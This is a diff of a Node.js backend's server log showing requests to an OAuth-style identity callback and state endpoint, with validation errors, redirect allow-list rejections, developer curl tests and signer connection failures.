'/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.167.54.180', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T08:08:53.808Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758701333805_dltij4rwx' -} -❌ [ERROR] 2025-09-24T08:08:53.809Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 3, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758701333805_dltij4rwx', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-24T08:11:56.262Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:65.144.169.45', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36' - }, - requestId: 'req_1758701516261_byklxktjh', - response: { - statusCode: 404 - } -} -ℹ️ [INFO] 2025-09-24T08:13:04.683Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758701584682_bt05k7lwj', - response: { - statusCode: 200 - } -} -❌ [ERROR] 2025-09-24T08:20:06.204Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:3.131.215.38', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' - }, - requestId: 'req_1758702006203_3bk3suzqm', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T08:22:05.492Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:3.131.215.38', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' - }, - requestId: 'req_1758702125490_fk8uk6jsc', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '35.171.45.91', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T08:29:41.738Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758702581737_gd2jgzals' -} -❌ [ERROR] 2025-09-24T08:29:41.740Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 3, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758702581737_gd2jgzals', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-24T08:30:28.122Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758702628121_fhej9igg5', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '35.171.45.91', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T08:36:11.263Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758702971262_zvp8httdz' -} -❌ [ERROR] 2025-09-24T08:36:11.265Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 3, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758702971262_zvp8httdz', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '35.171.45.91', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T08:36:37.279Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758702997278_bd04lqbcf' -} -❌ [ERROR] 2025-09-24T08:36:37.280Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758702997278_bd04lqbcf', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '35.171.45.91', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T08:36:39.794Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758702999793_5yfzkaaz2' -} -❌ [ERROR] 2025-09-24T08:36:39.796Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 3, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758702999793_5yfzkaaz2', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-24T08:42:46.588Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://lecoffreio.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758703366583_9wf3fovqv' -} -❌ [ERROR] 2025-09-24T08:42:46.588Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 5, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758703366583_9wf3fovqv', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T08:58:09.794Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:194.187.176.169', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0' - }, - requestId: 'req_1758704289792_yif3edjzt', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T08:58:09.852Z HTTP GET /favicon.ico - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:194.187.176.187', - method: 'GET', - url: '/favicon.ico', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0' - }, - requestId: 'req_1758704289851_qr5d2m38u', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T09:23:58.983Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://lecoffreio.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758705606121_sdj1wf4c6' -} -❌ [ERROR] 2025-09-24T09:24:06.643Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 177847, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758705606121_sdj1wf4c6', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T09:32:42.975Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 71619, - request: { - ip: undefined, - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758706277876_w4ltcxtxy', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T09:47:45.679Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 131407, - request: { - ip: undefined, - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758707098865_t703uvepj', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-24T09:51:09.776Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", - name: 'SyntaxError', - stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + - ' at JSON.parse ()\n' + - ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters - }, - request: { - body: {}, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758707469754_60rdg1pi6' -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=fake&state=fake', - method: 'HEAD', query: { code_present: true, code_length: 4, @@ -9329,12 +15,12 @@ Full error response: { state_length: 4 }, headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '92.243.24.12', - 'x-forwarded-proto': 'https' + host: 'localhost:8080', + 'x-forwarded-for': undefined, + 'x-forwarded-proto': undefined } } -❌ [ERROR] 2025-09-24T09:51:09.886Z Unhandled error +❌ [ERROR] 2025-09-24T20:11:30.449Z Unhandled error ──────────────────────────────────────────────────────────────────────────────── { error: { @@ -9346,1351 +32,97 @@ Full error response: { }, request: { body: {}, - ip: '::ffff:127.0.0.1', - method: 'HEAD', - url: '/idnot/callback?code=fake&state=fake', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758707469878_l30xz7psb' -} -❌ [ERROR] 2025-09-24T09:51:09.888Z HTTP HEAD /idnot/callback?code=fake&state=fake - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 9, - request: { - ip: '::ffff:127.0.0.1', - method: 'HEAD', - url: '/idnot/callback?code=fake&state=fake', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758707469878_l30xz7psb', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T09:56:06.614Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://lecoffreio.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', + ip: '::1', + method: 'GET', + url: '/authorized-client?code=test&state=test', userAgent: 'curl/7.74.0' }, - requestId: 'req_1758707766610_p7pt8u3tw' + requestId: 'req_1758744690445_bnzxksyst' } -❌ [ERROR] 2025-09-24T09:56:06.615Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 4, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758707766610_p7pt8u3tw', - response: { - statusCode: 500 - } -} -ℹ️ [INFO] 2025-09-24T09:59:53.586Z SIGTERM received, shutting down gracefully -tenvx run -- yourcommand` -ℹ️ [INFO] 2025-09-24T09:59:00.050Z Initializing Signer service -❌ [ERROR] 2025-09-24T09:59:00.064Z Uncaught exception -──────────────────────────────────────────────────────────────────────────────── -{ - error: 'listen EADDRINUSE: address already in use :::8080', - stack: 'Error: listen EADDRINUSE: address already in use :::8080\n' + - ' at Server.setupListenHandle [as _listen2] (node:net:1937:16)\n' + - ' at listenInCluster (node:net:1994:12)\n' + - ' at Server.listen (node:net:2099:'... 786 more characters -} -[dotenv@17.2.2] injecting env (42) from .env -- tip: 📡 observe env with Radar: https://dotenvx.com/radar -ℹ️ [INFO] 2025-09-24T10:00:03.279Z Initializing Signer service -Server started on port 8080 -✅ Connected to SDK Signer server -ℹ️ [INFO] 2025-09-24T10:00:03.310Z Signer connected -ℹ️ [INFO] 2025-09-24T10:00:03.310Z Signer connected -ℹ️ [INFO] 2025-09-24T10:00:03.311Z Signer service initialized -Server error: Device not paired -Full error response: { - "type": "ERROR", - "error": "Device not paired", - "messageId": "msg_1758708033301_3kg44iv66" -} -❌ [ERROR] 2025-09-24T10:00:33.318Z Signer WebSocket error -──────────────────────────────────────────────────────────────────────────────── -{ - error: 'Device not paired' -} -❌ [ERROR] 2025-09-24T10:00:33.318Z Signer connection error -──────────────────────────────────────────────────────────────────────────────── -{ - error: 'Device not paired' -} -⚠️ [WARN] 2025-09-24T10:00:33.319Z Signer disconnected - reconnecting... -⚠️ [WARN] 2025-09-24T10:00:33.319Z Signer disconnected -⚠️ [WARN] 2025-09-24T10:00:33.319Z Signer health check failed - connection may be stale -──────────────────────────────────────────────────────────────────────────────── -{ - error: 'Server error for GET_PAIRING_ID: Device not paired' -} -❌ [ERROR] 2025-09-24T10:01:07.054Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", - name: 'SyntaxError', - stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + - ' at JSON.parse ()\n' + - ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters - }, - request: { - body: {}, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758708067032_tgv1zthl0' -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=fake&state=fake', - method: 'HEAD', - query: { - code_present: true, - code_length: 4, - state_present: true, - state_length: 4 - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '92.243.24.12', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T10:01:07.165Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'Invalid state format', - name: 'Error', - stack: 'Error: Invalid state format\n' + - ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:70:19)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handl'... 1454 more characters - }, - request: { - body: {}, - ip: '::ffff:127.0.0.1', - method: 'HEAD', - url: '/idnot/callback?code=fake&state=fake', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758708067161_5kilhk33a' -} -❌ [ERROR] 2025-09-24T10:01:07.166Z HTTP HEAD /idnot/callback?code=fake&state=fake - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 4, - request: { - ip: '::ffff:127.0.0.1', - method: 'HEAD', - url: '/idnot/callback?code=fake&state=fake', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758708067161_5kilhk33a', - response: { - statusCode: 500 - } -} -ℹ️ [INFO] 2025-09-24T10:02:56.065Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 4, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758708176060_xkfx8euq5', - response: { - statusCode: 200 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=fake&state=fake', - method: 'HEAD', - query: { - code_present: true, - code_length: 4, - state_present: true, - state_length: 4 - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '92.243.24.12', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T10:02:56.453Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'Invalid state format', - name: 'Error', - stack: 'Error: Invalid state format\n' + - ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:70:19)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handl'... 1454 more characters - }, - request: { - body: {}, - ip: '::ffff:127.0.0.1', - method: 'HEAD', - url: '/idnot/callback?code=fake&state=fake', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758708176452_6wvmzj7ti' -} -❌ [ERROR] 2025-09-24T10:02:56.454Z HTTP HEAD /idnot/callback?code=fake&state=fake - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'HEAD', - url: '/idnot/callback?code=fake&state=fake', - userAgent: 'curl/8.14.1' - }, - requestId: 'req_1758708176452_6wvmzj7ti', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T10:04:25.763Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://lecoffreio.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708265760_gzvm4oz8h' -} -❌ [ERROR] 2025-09-24T10:04:25.765Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 4, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708265760_gzvm4oz8h', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T10:05:42.875Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://lecoffreio.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708342873_leozic1k8' -} -❌ [ERROR] 2025-09-24T10:05:42.876Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708342873_leozic1k8', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T10:07:04.959Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://lecoffreio.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708424957_jd74sof76' -} -❌ [ERROR] 2025-09-24T10:07:04.960Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708424957_jd74sof76', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T10:09:46.477Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://lecoffreio.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708586475_b3bfd94aw' -} -❌ [ERROR] 2025-09-24T10:09:46.479Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 3, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'curl/7.74.0' - }, - requestId: 'req_1758708586475_b3bfd94aw', - response: { - statusCode: 500 - } -} -npm error could not determine executable to run -npm error A complete log of this run can be found in: /home/ank/.npm/_logs/2025-09-24T10_12_28_918Z-debug-0.log -❌ [ERROR] 2025-09-24T10:13:10.043Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl 